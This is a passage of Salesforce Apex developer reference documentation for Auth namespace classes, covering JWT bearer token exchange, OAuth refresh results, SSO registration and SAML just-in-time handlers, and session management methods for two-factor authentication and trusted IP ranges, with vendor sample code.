setValidityLength(validityLength)
Sets the length of time that the JWT is valid, which affects the expiration claim. Returned by the getValidityLength()
method.
toJSONString()
Generates the JSON object representation of the Claims Set as an encoded JWT payload.
clone()
Makes a duplicate copy of the JWT object.
Signature
public Object clone()
Return Value
Type: JWT
getAdditionalClaims()
Returns a map of additional claims in the JWT, where the key string contains the name of the claim, and the value contains the value of
the claim.
Signature
public Map<String,ANY> getAdditionalClaims()
Return Value
Type: Map<String,ANY>
getAud()
Returns the audience claim that identifies the intended recipients of the JWT.
Signature
public String getAud()
703
JWT ClassReference
Return Value
Type: String
getIss()
Returns the issuer claim that identifies the issuer of the JWT.
Signature
public String getIss()
Return Value
Type: String
getNbfClockSkew()
Returns the not before claim that identifies the time before which the JWT must not be accepted for processing, while allowing some
leeway for clock skew.
Signature
public Integer getNbfClockSkew()
Return Value
Type: Integer
getSub()
Returns the subject claim that identifies the current user of the JWT.
Signature
public String getSub()
Return Value
Type: String
getValidityLength()
Returns the length of time that the JWT is valid, which affects the expiration claim.
Signature
public Integer getValidityLength()
704
JWT ClassReference
Return Value
Type: Integer
setAdditionalClaims(additionalClaims)
Sets the additional claims in the JWT. Returned by the getAdditionalClaims() method.
Signature
public void setAdditionalClaims(Map<String,ANY> additionalClaims)
Parameters
additionalClaims
Type: Map<String,ANY>
Return Value
Type: void
Usage
Additional claims must not include any standard claims.
setAud(aud)
Sets the audience claim in the JWT. Returned by the getAud() method.
Signature
public void setAud(String aud)
Parameters
aud
Type: String
Return Value
Type: void
setIss(iss)
Sets the issuer claim in the JWT. Returned by the getIss() method.
Signature
public void setIss(String iss)
705
JWT ClassReference
Parameters
iss
Type: String
Return Value
Type: void
setNbfClockSkew(nbfClockSkew)
Sets the not before claim in the JWT. Returned by the getNbfClockSkew() method.
Signature
public void setNbfClockSkew(Integer nbfClockSkew)
Parameters
nbfClockSkew
Type: Integer
Return Value
Type: void
setSub(sub)
Sets the subject claim in the JWT. Returned by the getSub() method.
Signature
public void setSub(String sub)
Parameters
sub
Type: String
Return Value
Type: void
setValidityLength(validityLength)
Sets the length of time that the JWT is valid, which affects the expiration claim. Returned by the getValidityLength() method.
Signature
public void setValidityLength(Integer validityLength)
706
JWT ClassReference
Parameters
validityLength
Type: Integer
Return Value
Type: void
toJSONString()
Generates the JSON object representation of the Claims Set as an encoded JWT payload.
Signature
public String toJSONString()
Return Value
Type: String
JWTBearerTokenExchange Class
Contains methods that POST the signed JWT bearer token to a token endpoint to request an access token, in the OAuth 2.0 JWT bearer
token flow.
Namespace
Auth
Usage
Use the methods in this class to post a signed JWT bearer token to the OAuth token endpoint, in exchange for an access token.
Example
In the following example application, the Apex controller:
1. Creates the JSON Claims Set.
2. Specifies the scope of the request with additional claims.
3. Creates the signed JWT.
4. Specifies the token endpoint and POSTs to it.
5. Gets the access token from the HTTP response.
public class MyController{
public MyController() {
Auth.JWT jwt = new Auth.JWT();
jwt.setSub('user@salesforce.com');
707
JWTBearerTokenExchange ClassReference
jwt.setAud('https://login.salesforce.com');
jwt.setIss('3MVG99OxTyEMCQ3gNp2PjkqeZKxnmAiG1xV4oHh9AKL_rSK.BoSVPGZHQ
ukXnVjzRgSuQqGn75NL7yfkQcyy7');
//Additional claims to set scope
Map<String,Object> claims = new Map<String,Object>();
claims.put('scope','scope name');
jwt.setAdditionalClaims(claims);
//Create the object that signs the JWT bearer token
Auth.JWS jws = new Auth.JWS(jwt, 'CertFromCertKeyManagement');
//Get the resulting JWS in case debugging is required
String token = jws.getCompactSerialization();
//Set the token endpoint that the JWT bearer token is posted to
String tokenEndpoint = 'https://login.salesforce.com/services/oauth2/token';
//POST the JWT bearer token
Auth.JWTBearerTokenExchange bearer = new Auth.JWTBearerTokenExchange(tokenEndpoint,
jws);
//Get the access token
String accessToken = bearer.getAccessToken();
}
}
IN THIS SECTION:
JWTBearerTokenExchange Constructors
JWTBearerTokenExchange Methods
JWTBearerTokenExchange Constructors
The following are constructors for JWTBearerTokenExchange.
IN THIS SECTION:
JWTBearerTokenExchange(tokenEndpoint, jws)
Creates an instance of the JWTBearerTokenExchange class using the specified token endpoint and the signed JWT bearer
token.
JWTBearerTokenExchange()
Creates an instance of the Auth.JWTBearerTokenExchange class.
JWTBearerTokenExchange(tokenEndpoint, jws)
Creates an instance of the JWTBearerTokenExchange class using the specified token endpoint and the signed JWT bearer token.
708
JWTBearerTokenExchange ClassReference
Signature
public JWTBearerTokenExchange(String tokenEndpoint, Auth.JWS jws)
Parameters
tokenEndpoint
Type: String
The token endpoint that the signed JWT bearer token is POSTed to.
jws
Type: Auth.JWS
The signed JWT bearer token.
JWTBearerTokenExchange()
Creates an instance of the Auth.JWTBearerTokenExchange class.
Signature
public JWTBearerTokenExchange()
JWTBearerTokenExchange Methods
The following are methods for JWTBearerTokenExchange. All are instance methods.
IN THIS SECTION:
clone()
Makes a duplicate copy of the JWTBearerTokenExchange object.
getAccessToken()
Returns the access_token in the token response to the JWT bearer token request.
getGrantType()
Returns the grant type specified in the JWT bearer token request. The grant type value defaults to
urn:ietf:params:oauth:grant-type:jwt-bearer.
getHttpResponse()
Returns the full System.HttpResponse token response to the JWT bearer token request.
getJWS()
Returns the JWS specified in the JWT bearer token request.
getTokenEndpoint()
Returns the token endpoint that the JWT bearer token request is POSTed to.
setGrantType(grantType)
Sets the grant type in the JWT bearer token request. Returned by the getGrantType() method.
setJWS(jws)
Sets the JWS in the JWT bearer token request. Returned by the getJWS() method.
709
JWTBearerTokenExchange ClassReference
setTokenEndpoint(tokenEndpoint)
Sets the token endpoint that the JWT bearer token request is POSTed to. Returned by the getTokenEndpoint() method.
clone()
Makes a duplicate copy of the JWTBearerTokenExchange object.
Signature
public Object clone()
Return Value
Type: JWTBearerTokenExchange
getAccessToken()
Returns the access_token in the token response to the JWT bearer token request.
Signature
public String getAccessToken()
Return Value
Type: String
Usage
This method extracts the access_token from the token response. If the token response issues the access token in a different
parameter, the request fails.
If you want the full HTTP token response returned, use getHttpResponse instead.
getGrantType()
Returns the grant type specified in the JWT bearer token request. The grant type value defaults to
urn:ietf:params:oauth:grant-type:jwt-bearer.
Signature
public String getGrantType()
Return Value
Type: String
getHttpResponse()
Returns the full System.HttpResponse token response to the JWT bearer token request.
710
JWTBearerTokenExchange ClassReference
Signature
public System.HttpResponse getHttpResponse()
Return Value
Type: System.HttpResponse
Usage
You can get the access token from the full System.HttpResponse. If you want only the access_token from the token
response, you can use getAccessToken instead.
getJWS()
Returns the JWS specified in the JWT bearer token request.
Signature
public Auth.JWS getJWS()
Return Value
Type: Auth.JWS
getTokenEndpoint()
Returns the token endpoint that the JWT bearer token request is POSTed to.
Signature
public String getTokenEndpoint()
Return Value
Type: String
setGrantType(grantType)
Sets the grant type in the JWT bearer token request. Returned by the getGrantType() method.
Signature
public void setGrantType(String grantType)
Parameters
grantType
Type: String
711
JWTBearerTokenExchange ClassReference
Return Value
Type: void
setJWS(jws)
Sets the JWS in the JWT bearer token request. Returned by the getJWS() method.
Signature
public void setJWS(Auth.JWS jws)
Parameters
jws
Type: Auth.JWS
Return Value
Type: void
setTokenEndpoint(tokenEndpoint)
Sets the token endpoint that the JWT bearer token request is POSTed to. Returned by the getTokenEndpoint() method.
Signature
public void setTokenEndpoint(String tokenEndpoint)
Parameters
tokenEndpoint
Type: String
Return Value
Type: void
OAuthRefreshResult Class
Stores the result of an AuthProviderPluginClass refresh method. OAuth authentication flow provides a refresh token that
can be used to get a new access token. Access tokens have a limited lifetime as specified by the session timeout value. When an access
token expires, use a refresh token to get a new access token.
Namespace
Auth
712
OAuthRefreshResult ClassReference
Usage
The OAuthRefreshResult class contains the parameters, accessToken, refreshToken, and error, all of which are of
type string. For a code example, see Auth Exceptions.
IN THIS SECTION:
OAuthRefreshResult Constructors
OAuthRefreshResult Properties
OAuthRefreshResult Constructors
The following are constructors for OAuthRefreshResult.
IN THIS SECTION:
OAuthRefreshResult(accessToken, refreshToken, error)
Creates an instance of the OAuthRefreshResult class using the specified access token, refresh token, and error for a custom
authentication provider plug-in.
OAuthRefreshResult(accessToken, refreshToken)
Creates an instance of the OAuthRefreshResult class using the specified access token and refresh token for a custom
authentication provider plug-in. Use this method when you know that the refresh was successful.
OAuthRefreshResult(accessToken, refreshToken, error)
Creates an instance of the OAuthRefreshResult class using the specified access token, refresh token, and error for a custom
authentication provider plug-in.
Signature
public OAuthRefreshResult(String accessToken, String refreshToken, String error)
Parameters
accessToken
Type: String
OAuth access token for the user who is currently logged in.
refreshToken
Type: String
OAuth refresh token for the user who is currently logged in.
error
Type: String
Error that occurred when a user attempted to authenticate with the custom authentication provider.
713
OAuthRefreshResult ClassReference
OAuthRefreshResult(accessToken, refreshToken)
Creates an instance of the OAuthRefreshResult class using the specified access token and refresh token for a custom authentication
provider plug-in. Use this method when you know that the refresh was successful.
Signature
public OAuthRefreshResult(String accessToken, String refreshToken)
Parameters
accessToken
Type: String
The OAuth access token for the user who is logged in.
refreshToken
Type: String
The OAuth refresh token for the user who is logged in.
OAuthRefreshResult Properties
The following are properties for OAuthRefreshResult.
IN THIS SECTION:
accessToken
The OAuth access token for the user who is currently logged in.
error
Error that occurs when a user unsuccessfully attempts to authenticate with the custom authentication provider.
refreshToken
The OAuth refresh token for the user who is currently logged in.
accessToken
The OAuth access token for the user who is currently logged in.
Signature
public String accessToken {get; set;}
Property Value
Type: String
error
Error that occurs when a user unsuccessfully attempts to authenticate with the custom authentication provider.
714
OAuthRefreshResult ClassReference
Signature
public String error {get; set;}
Property Value
Type: String
refreshToken
The OAuth refresh token for the user who is currently logged in.
Signature
public String refreshToken {get; set;}
Property Value
Type: String
RegistrationHandler Interface
Salesforce provides the ability to use an authentication provider, such as Facebook© or Janrain©, for single sign-on into Salesforce.
Namespace
Auth
Usage
To set up single sign-on, you must create a class that implements Auth.RegistrationHandler. Classes implementing the
Auth.RegistrationHandler interface are specified as the Registration Handler in authorization provider definitions,
and enable single sign-on into Salesforce portals and organizations from third-party services such as Facebook. Using information from
the authentication providers, your class must perform the logic of creating and updating user data as appropriate, including any associated
account and contact records.
IN THIS SECTION:
RegistrationHandler Methods
Storing User Information and Getting Access Tokens
Auth.RegistrationHandler Example Implementation
Auth.RegistrationHandler Error Example
This example implements the Auth.RegistrationHandler interface and shows how to use a custom exception to display
an error message on the page to the user. If you don’t use a custom exception, the error code and description (if they’re available)
appear in the URL and the error description (if available) appears on the page.
RegistrationHandler Methods
The following are methods for RegistrationHandler.
715
RegistrationHandler InterfaceReference
IN THIS SECTION:
createUser(portalId, userData)
Returns a User object using the specified portal ID and user information from the third party, such as the username and email address.
The User object corresponds to the third party’s user information and may be a new user that hasn’t been inserted in the database
or may represent an existing user record in the database.
updateUser(userId, portalId, userData)
Updates the specified user’s information. This method is called if the user has logged in before with the authorization provider and
then logs in again, or if your application is using the Existing User Linking URL. This URL is generated when you define
your authentication provider.
createUser(portalId, userData)
Returns a User object using the specified portal ID and user information from the third party, such as the username and email address.
The User object corresponds to the third party’s user information and may be a new user that hasn’t been inserted in the database or
may represent an existing user record in the database.
Signature
public User createUser(ID portalId, Auth.UserData userData)
Parameters
portalId
Type: ID
userData
Type: Auth.UserData
Return Value
Type: User
Usage
The portalID value may be null or an empty key if there is no portal configured with this provider.
updateUser(userId, portalId, userData)
Updates the specified user’s information. This method is called if the user has logged in before with the authorization provider and then
logs in again, or if your application is using the Existing User Linking URL. This URL is generated when you define your
authentication provider.
Signature
public Void updateUser(ID userId, ID portalId, Auth.UserData userData)
Parameters
userId
Type: ID
716
RegistrationHandler InterfaceReference
portalId
Type: ID
userData
Type: Auth.UserData
Return Value
Type: Void
Usage
The portalID value may be null or an empty key if there is no portal configured with this provider.
Storing User Information and Getting Access Tokens
The Auth.UserData class is used to store user information for Auth.RegistrationHandler. The third-party authorization
provider can send back a large collection of data about the user, including their username, email address, locale, and so on. Frequently
used data is converted into a common format with the Auth.UserData class and sent to the registration handler.
If the registration handler wants to use the rest of the data, the Auth.UserData class has an attributeMap variable. The
attribute map is a map of strings (Map<String,String>) for the raw values of all the data from the third party. Because the map
is <String,String>, values that the third party returns that are not strings (like an array of URLs or a map) are converted into an
appropriate string representation. The map includes everything returned by the third-party authorization provider, including the items
automatically converted into the common format.
The constructor for Auth.UserData has the following syntax:
Auth.UserData(String identifier,
String firstName,
String lastName,
String fullName,
String email,
String link,
String userName,
String locale,
String provider,
String siteLoginUrl,
Map<String,String>attributeMap)
To learn about Auth.UserData properties, see Auth.UserData Class.
Note: You can only perform DML operations on additional sObjects in the same transaction with User objects under certain
circumstances. For more information, see sObjects That Cannot Be Used Together in DML Operations.
For all authentication providers except Janrain, after a user is authenticated using a provider, the access token associated with that
provider for this user can be obtained in Apex using the Auth.AuthToken Apex class. Auth.AuthToken provides two methods
to retrieve access tokens. One is getAccessToken, which obtains a single access token. Use this method if the user ID is mapped
to a single third-party user. If the user ID is mapped to multiple third-party users, use getAccessTokenMap, which returns a map
of access tokens for each third-party user. For more information about authentication providers, see “External Authentication Providers”
in the Salesforce online help.
When using Janrain as an authentication provider, you need to use the Janrain accessCredentials dictionary values to retrieve
the access token or its equivalent. Only some providers supported by Janrain provide an access token, while other providers use other
717
RegistrationHandler InterfaceReference
fields. The Janrain accessCredentials fields are returned in the attributeMap variable of the Auth.UserData class.
See the Janrain auth_info documentation for more information on accessCredentials.
Note: Not all Janrain account types return accessCredentials. You may need to change your account type to receive the
information.
To learn about the Auth.AuthToken methods, see Auth.AuthToken Class.
Auth.RegistrationHandler Example Implementation
This example implements the Auth.RegistrationHandler interface that creates as well as updates a standard user based on
data provided by the authorization provider. Error checking has been omitted to keep the example simple.
global class StandardUserRegistrationHandler implements Auth.RegistrationHandler{
global User createUser(Id portalId, Auth.UserData data){
User u = new User();
Profile p = [SELECT Id FROM profile WHERE name='Standard User'];
u.username = data.username + '@salesforce.com';
u.email = data.email;
u.lastName = data.lastName;
u.firstName = data.firstName;
String alias = data.username;
if(alias.length() > 8) {
alias = alias.substring(0, 8);
}
u.alias = alias;
u.languagelocalekey = data.attributeMap.get('language');
u.localesidkey = data.locale;
u.emailEncodingKey = 'UTF-8';
u.timeZoneSidKey = 'America/Los_Angeles';
u.profileId = p.Id;
return u;
}
global void updateUser(Id userId, Id portalId, Auth.UserData data){
User u = new User(id=userId);
u.username = data.username + '@salesforce.com';
u.email = data.email;
u.lastName = data.lastName;
u.firstName = data.firstName;
String alias = data.username;
if(alias.length() > 8) {
alias = alias.substring(0, 8);
}
u.alias = alias;
u.languagelocalekey = data.attributeMap.get('language');
u.localesidkey = data.locale;
update(u);
}
}
The following example tests the above code.
@isTest
private class StandardUserRegistrationHandlerTest {
718
RegistrationHandler InterfaceReference
static testMethod void testCreateAndUpdateUser() {
StandardUserRegistrationHandler handler = new StandardUserRegistrationHandler();
Auth.UserData sampleData = new Auth.UserData('testId','testFirst','testLast',
'testFirst testLast','testuser@example.org',null,'testuserlong','en_US',
'facebook',
null,new Map<String,String>{'language' => 'en_US'});
User u = handler.createUser(null, sampleData);
System.assertEquals('testuserlong@salesforce.com', u.userName);
System.assertEquals('testuser@example.org', u.email);
System.assertEquals('testLast', u.lastName);
System.assertEquals('testFirst', u.firstName);
System.assertEquals('testuser', u.alias);
insert(u);
String uid = u.id;
sampleData = new Auth.UserData('testNewId','testNewFirst','testNewLast',
'testNewFirst testNewLast','testnewuser@example.org',null,'testnewuserlong',
'en_US','facebook',
null,new Map<String,String>{});
handler.updateUser(uid, null, sampleData);
User updatedUser = [SELECT userName, email, firstName, lastName, alias FROM user WHERE
id=:uid];
System.assertEquals('testnewuserlong@salesforce.com', updatedUser.userName);
System.assertEquals('testnewuser@example.org', updatedUser.email);
System.assertEquals('testNewLast', updatedUser.lastName);
System.assertEquals('testNewFirst', updatedUser.firstName);
System.assertEquals('testnewu', updatedUser.alias);
}
}
Auth.RegistrationHandler Error Example
This example implements the Auth.RegistrationHandler interface and shows how to use a custom exception to display an
error message on the page to the user. If you don’t use a custom exception, the error code and description (if they’re available) appear
in the URL and the error description (if available) appears on the page.
To limit this example to the custom exception, some code was omitted.
global class RegHandler implements Auth.RegistrationHandler {
class RegHandlerException extends Exception {}
global User createUser(Id portalId, Auth.UserData data){
List<Profile> profiles = [SELECT Id, Name, UserType FROM Profile WHERE Name =
'Power User'];
Profile profile = profiles.isEmpty() ? null : profiles[0];
if(profile==null)
throw new RegHandlerException('Cannot find the profile. For help, contact
your administrator.');
...
}
global void updateUser(Id userId, Id portalId, Auth.UserData data){
719
RegistrationHandler InterfaceReference
User u = new User(id=userId);
u.lastName = data.lastName;
u.firstName = data.firstName;
update(u);
}
}
SamlJitHandler Interface
Use this interface to control and customize Just-in-Time user provisioning logic during SAML single sign-on.
Namespace
Auth
Usage
To use custom logic for user provisioning during SAML single sign-on, you must create a class that implements
Auth.SamlJitHandler. This allows you to incorporate organization-specific logic (such as populating custom fields) when users
log in to Salesforce with single sign-on. Keep in mind that your class must perform the logic of creating and updating user data as
appropriate, including any associated account and contact records.
In Salesforce, you specify your class that implements this interface in the SAML JIT Handler field in SAML Single Sign-On Settings.
Make sure that the user you specify to run the class has “Manage Users” permission.
IN THIS SECTION:
SamlJitHandler Methods
SamlJitHandler Example Implementation
SamlJitHandler Methods
The following are methods for SamlJitHandler.
IN THIS SECTION:
createUser(samlSsoProviderId, communityId, portalId, federationId, attributes, assertion)
Returns a User object using the specified Federation ID. The User object corresponds to the user information and may be a new user
that hasn’t t been inserted in the database or may represent an existing user record in the database.
updateUser(userId, samlSsoProviderId, communityId, portalId, federationId, attributes, assertion)
Updates the specified user’s information. This method is called if the user has logged in before with SAML single sign-on and then
logs in again, or if your application is using the Existing User Linking URL.
createUser(samlSsoProviderId, communityId, portalId, federationId, attributes,
assertion)
Returns a User object using the specified Federation ID. The User object corresponds to the user information and may be a new user
that hasn’t t been inserted in the database or may represent an existing user record in the database.
720
SamlJitHandler InterfaceReference
Signature
public User createUser(Id samlSsoProviderId, Id communityId, Id portalId, String
federationId, Map<String,String> attributes, String assertion)
Parameters
samlSsoProviderId
Type: Id
The ID of the SamlSsoConfig standard object.
communityId
Type: Id
The ID of the community. This parameter can be null if you’re not creating a community user.
portalId
Type: Id
The ID of the portal. This parameter can be null if you’re not creating a portal user.
federationId
Type: String
The ID Salesforce expects to be used for this user.
attributes
Type: Map<String,String>
All of the attributes in the SAML assertion that were added to the default assertion; for example, custom attributes. Attributes are
case-sensitive.
assertion
Type: String
The default SAML assertion, base-64 encoded.
Return Value
Type: User
A User sObject.
Usage
The communityId and portalId parameter values may be null or an empty key if there is no community or portal configured
with this organization.
updateUser(userId, samlSsoProviderId, communityId, portalId, federationId,
attributes, assertion)
Updates the specified user’s information. This method is called if the user has logged in before with SAML single sign-on and then logs
in again, or if your application is using the Existing User Linking URL.
721
SamlJitHandler InterfaceReference
Signature
public void updateUser(Id userId, Id samlSsoProviderId, Id communityId, Id portalId,
String federationId, Map<String,String> attributes, String assertion)
Parameters
userId
Type: Id
The ID of the Salesforce user.
samlSsoProviderId
Type: Id
The ID of the SamlSsoConfig object.
communityId
Type: Id
The ID of the community. This can be null if you’re not updating a community user.
portalId
Type: Id
The ID of the portal. This can be null if you’re not updating a portal user.
federationId
Type: String
The ID Salesforce expects to be used for this user.
attributes
Type: Map<String,String>
All of the attributes in the SAML assertion that were added to the default assertion; for example, custom attributes. Attributes are
case-sensitive.
assertion
Type: String
The default SAML assertion, base-64 encoded.
Return Value
Type: void
SamlJitHandler Example Implementation
This is an example implementation of the Auth.SamlJitHandler interface. This code uses private methods to handle accounts
and contacts (handleContact() and handleAccount()), which aren’t included in this example.
global class StandardUserHandler implements Auth.SamlJitHandler {
private class JitException extends Exception{}
private void handleUser(boolean create, User u, Map<String,String> attributes,
String federationIdentifier, boolean isStandard) {
if(create && attributes.containsKey('User.Username')) {
u.Username = attributes.get('User.Username');
}
722
SamlJitHandler InterfaceReference
if(create) {
if(attributes.containsKey('User.FederationIdentifier')) {
u.FederationIdentifier = attributes.get('User.FederationIdentifier');
}else {
u.FederationIdentifier = federationIdentifier;
}
}
if(attributes.containsKey('User.ProfileId')) {
String profileId = attributes.get('User.ProfileId');
Profile p = [SELECT Id FROM Profile WHERE Id=:profileId];
u.ProfileId = p.Id;
}
if(attributes.containsKey('User.UserRoleId')) {
String userRole = attributes.get('User.UserRoleId');
UserRole r = [SELECT Id FROM UserRole WHERE Id=:userRole];
u.UserRoleId = r.Id;
}
if(attributes.containsKey('User.Phone')) {
u.Phone = attributes.get('User.Phone');
}
if(attributes.containsKey('User.Email')) {
u.Email = attributes.get('User.Email');
}
//More attributes here - removed for length
//Handle custom fields here
if(!create) {
update(u);
}
}
private void handleJit(boolean create, User u, Id samlSsoProviderId, Id communityId,
Id portalId,
String federationIdentifier, Map<String,String> attributes, String assertion) {
if(communityId != null || portalId != null) {
String account = handleAccount(create, u, attributes);
handleContact(create, account, u, attributes);
handleUser(create, u, attributes, federationIdentifier, false);
}else {
handleUser(create, u, attributes, federationIdentifier, true);
}
}
global User createUser(Id samlSsoProviderId, Id communityId, Id portalId,
String federationIdentifier, Map<String,String> attributes, String assertion) {
User u = new User();
handleJit(true, u, samlSsoProviderId, communityId, portalId,
federationIdentifier, attributes, assertion);
return u;
}
global void updateUser(Id userId, Id samlSsoProviderId, Id communityId, Id portalId,
723
SamlJitHandler InterfaceReference
String federationIdentifier, Map<String,String> attributes, String assertion) {
User u = [SELECT Id FROM User WHERE Id=:userId];
handleJit(false, u, samlSsoProviderId, communityId, portalId,
federationIdentifier, attributes, assertion);
}
}
SessionManagement Class
Contains methods for customizing security levels, two-factor authentication, and trusted IP ranges for a current session.
Namespace
Auth
SessionManagement Methods
The following are methods for SessionManagement. All methods are static. Use these methods to customize your two-factor
authentication implementation and manage the use of time-based one-time password (TOTP) apps like Google Authenticator with a
Salesforce organization. Or, use them to validate a user’s incoming IP address against trusted IP range settings for an organization or
profile.
IN THIS SECTION:
generateVerificationUrl(policy, description, destinationUrl)
Initiates a user identity verification flow with the verification method that the user registered with, and returns a URL to the identity
verification screen. For example, if you have a custom Visualforce page that displays sensitive account details, you can prompt the
user to verify identity before viewing it.
getCurrentSession()
Returns a map of attributes for the current session.
getRequiredSessionLevelForProfile(profileId)
Indicates the required login security session level for the given profile.
getQrCode()
Returns a map containing a URL to a quick response (QR) code and a time-based one-time password (TOTP) shared secret to configure
two-factor authentication apps or devices.
ignoreForConcurrentSessionLimit(sessions)
This method is reserved for internal Salesforce use.
inOrgNetworkRange(ipAddress)
Indicates whether the given IP address is within the organization's trusted IP range according to the organization's Network Access
settings.
isIpAllowedForProfile(profileId, ipAddress)
Indicates whether the given IP address is within the trusted IP range for the given profile.
setSessionLevel(level)
Sets the user's current session security level.
724
SessionManagement ClassReference
validateTotpTokenForKey(sharedKey, totpCode)
Deprecated. Use validateTotpTokenForKey(totpSharedKey, totpCode, description) instead.
validateTotpTokenForKey(totpSharedKey, totpCode, description)
Indicates whether a time-based one-time password (TOTP) code (token) is valid for the given shared key.
validateTotpTokenForUser(totpCode)
Deprecated. Use validateTotpTokenForUser(totpCode, description) instead.
validateTotpTokenForUser(totpCode, description)
Indicates whether a time-based one-time password (TOTP) code (token) is valid for the current user.
generateVerificationUrl(policy, description, destinationUrl)
Initiates a user identity verification flow with the verification method that the user registered with, and returns a URL to the identity
verification screen. For example, if you have a custom Visualforce page that displays sensitive account details, you can prompt the user
to verify identity before viewing it.
Signature
public static String generateVerificationUrl(Auth.VerificationPolicy policy, String
description, String destinationUrl)
Parameters
policy
Type: Auth.VerificationPolicy
The session security policy required to initiate identity verification for the user’s session. For example, if the policy is set to High
Assurance level of session security, and the user’s current session has the standard level of session security, the user’s session is raised
to high assurance after successful verification of identity. In the Setup user interface, this value is shown in the Triggered By column
of Identity Verification History.
description
Type: String
The custom description that describes the activity requiring identity verification; for example, “Complete purchase and check out”.
This text appears to users when they verify their identity in Salesforce and, if they use Salesforce Authenticator version 2 or later, in
the Salesforce Authenticator mobile app. In addition, in the Setup user interface, this text is shown in the Activity Message column
of Identity Verification History.
destinationUrl
Type: String
The relative or absolute Salesforce URL that you want to redirect the user to after identity verification—for example, /apex/mypage.
The user is redirected to destinationUrl when the identity verification flow is complete, regardless of success. For example,
if a user chooses to not respond to the identity challenge and cancels it, the user is still redirected to destinationUrl. As a
best practice, ensure that your code for this page manually checks that the security policy was satisfied (and the user didn’t just
manually type the URL in the browser). For example, if the policy is High Assurance, the target page checks that the user's session
is high assurance before allowing access.
Return Value
Type: String
725
SessionManagement ClassReference
The URL where the user is redirected to verify identity.
Usage
•If the user is already registered to confirm identity using a time-based one-time password (TOTP), then the user is redirected to the
one-time password identity verification flow and asked to provide a code.
•If the user isn’t registered with any verification method (such as one-time password or Salesforce Authenticator version 2 or later),
the user is prompted to download and verify identity using Salesforce Authenticator. The user can also choose a different verification
method.
getCurrentSession()
Returns a map of attributes for the current session.
Signature
public static Map<String,String> getCurrentSession()
Return Value
Type: Map<String, String>
Usage
The map includes a ParentId value, which is the 18-character ID for the parent session, if one exists (for example, if the current
session is for a canvas app). If the current session doesn’t have a parent, this value is null. The map also includes the LogoutUrl
assigned to the current session.
Note: When a session is reused, Salesforce updates the LoginHistoryId with the value from the most recent login.
Example
The following example shows the name-value pairs in a map returned by getCurrentSession(). Note that UsersId includes
an “s” in the name to match the name of the corresponding field in the AuthSession object.
{
SessionId=0Ak###############,
UserType=Standard,
ParentId=0Ak###############,
NumSecondsValid=7200,
LoginType=SAML Idp Initiated SSO,
LoginDomain=null,
LoginHistoryId=0Ya###############,
Username=user@domain.com,
CreatedDate=Wed Jul 30 19:09:29 GMT 2014,
SessionType=Visualforce,
LastModifiedDate=Wed Jul 30 19:09:16 GMT 2014,
LogoutUrl=https://google.com,
SessionSecurityLevel=STANDARD,
UsersId=005###############,
SourceIp=1.1.1.1
}
726
SessionManagement ClassReference
getRequiredSessionLevelForProfile(profileId)
Indicates the required login security session level for the given profile.
Signature
public static Auth.SessionLevel getRequiredSessionLevelForProfile(String profileId)
Parameters
profileId
Type: String
The 15-character profile ID.
Return Value
Type: Auth.SessionLevel
The session security level required at login for the profile with the ID profileId. You can customize the assignment of each level in
Session Settings. For example, you can set the High Assurance level to apply only to users who authenticated with two-factor authentication
or through a specific identity provider.
getQrCode()
Returns a map containing a URL to a quick response (QR) code and a time-based one-time password (TOTP) shared secret to configure
two-factor authentication apps or devices.
Signature
public static Map<String,String> getQrCode()
Return Value
Type: Map<String, String>
Usage
The QR code encodes the returned secret as well as the current user's username. The keys are qrCodeUrl and secret. Calling this
method does not change any state for the user, nor does it read any state from the user. This method returns a brand new secret every
time it is called, does not save that secret anywhere, and does not validate the TOTP token. The admin must explicitly save the values
for the user after verifying a TOTP token with the secret.
The secret is a base32-encoded string of a 20-byte shared key.
Example
The following is an example of how to request the QR code.
public String getGetQRCode() {
return getQRCode();
}
public String getQRCode() {
Map<String,String> codeResult = Auth.SessionManagement.getQrCode();
727
SessionManagement ClassReference
String result = 'URL: '+codeResult.get('qrCodeUrl')+' SECRET: ' +
codeResult.get('secret');
return result;
}
The following is an example of a returned map.
{qrCodeUrl=https://www.salesforce.com/secur/qrCode?w=200&h=200&t=tf&u=user%0000000000.com&s=AAAAA7B5BBBB5AAAAAAA66BBBB,
secret=AAAAA7B5AAAAAA5BBBBBBBBB66AAA}
ignoreForConcurrentSessionLimit(sessions)
This method is reserved for internal Salesforce use.
Signature
public static Map<String,String> ignoreForConcurrentSessionLimit(Object sessions)
Parameters
sessions
Type: Object
Return Value
Type: Map<String, String>
inOrgNetworkRange(ipAddress)
Indicates whether the given IP address is within the organization's trusted IP range according to the organization's Network Access
settings.
Signature
public static Boolean inOrgNetworkRange(String ipAddress)
Parameters
ipAddress
Type: String
The IP address to validate.
Return Value
Type: Boolean
Usage
If a trusted IP range is not defined, this returns false, and throws an exception if the IP address is not valid.
728
SessionManagement ClassReference
Return ValueUser is in the Trusted IP Range?Trusted IP Range Exists?
trueYesYes
falseNoYes
falseN/ANo
isIpAllowedForProfile(profileId, ipAddress)
Indicates whether the given IP address is within the trusted IP range for the given profile.
Signature
public static Boolean isIpAllowedForProfile(String profileId, String ipAddress)
Parameters
profileId
Type: String
The 15-character alphanumeric string for the current user’s profile ID.
ipAddress
Type: String
The IP address to validate.
Return Value
Type: Boolean
Usage
If a trusted IP range is not defined, this returns true, and throws an exception if the IP address is not valid or if the profile ID is not valid.
Return ValueUser is in the Trusted IP Range?Trusted IP Range Exists?
trueYesYes
falseNoYes
trueN/ANo
setSessionLevel(level)
Sets the user's current session security level.
Signature
public static Void setSessionLevel(Auth.SessionLevel level)
729
SessionManagement ClassReference
Parameters
level
Type: Auth.SessionLevel
The session security level to assign to the user. The meaning of each level can be customized in the Session Settings for each
organization, such as setting the High Assurance level to apply only to users who authenticated with two-factor authentication or
through a specific identity provider.
Return Value
Type: Void
Usage
This setting affects the session level of all sessions associated with the current session, such as Visualforce, Salesforce Files Sync, or UI
access.
Example
The following is an example class for setting the session level.
public class RaiseSessionLevel{
public void setLevelHigh() {
Auth.SessionManagement.setSessionLevel(Auth.SessionLevel.HIGH_ASSURANCE);
}
public void setLevelStandard() {
Auth.SessionManagement.setSessionLevel(Auth.SessionLevel.STANDARD);
}
}
validateTotpTokenForKey(sharedKey, totpCode)
Deprecated. Use validateTotpTokenForKey(totpSharedKey, totpCode, description) instead.
Signature
public static Boolean validateTotpTokenForKey(String sharedKey,String totpCode)
Parameters
sharedKey
Type: String
The shared (secret) key. The sharedKey must be a base32-encoded string of a 20-byte shared key.
totpCode
Type: String
The time-based one-time password (TOTP) code to validate.
Return Value
Type: Boolean
730
SessionManagement ClassReference
Usage
If the key is invalid or doesn’t exist, this method throws an invalid parameter value exception or a no data found exception, respectively.
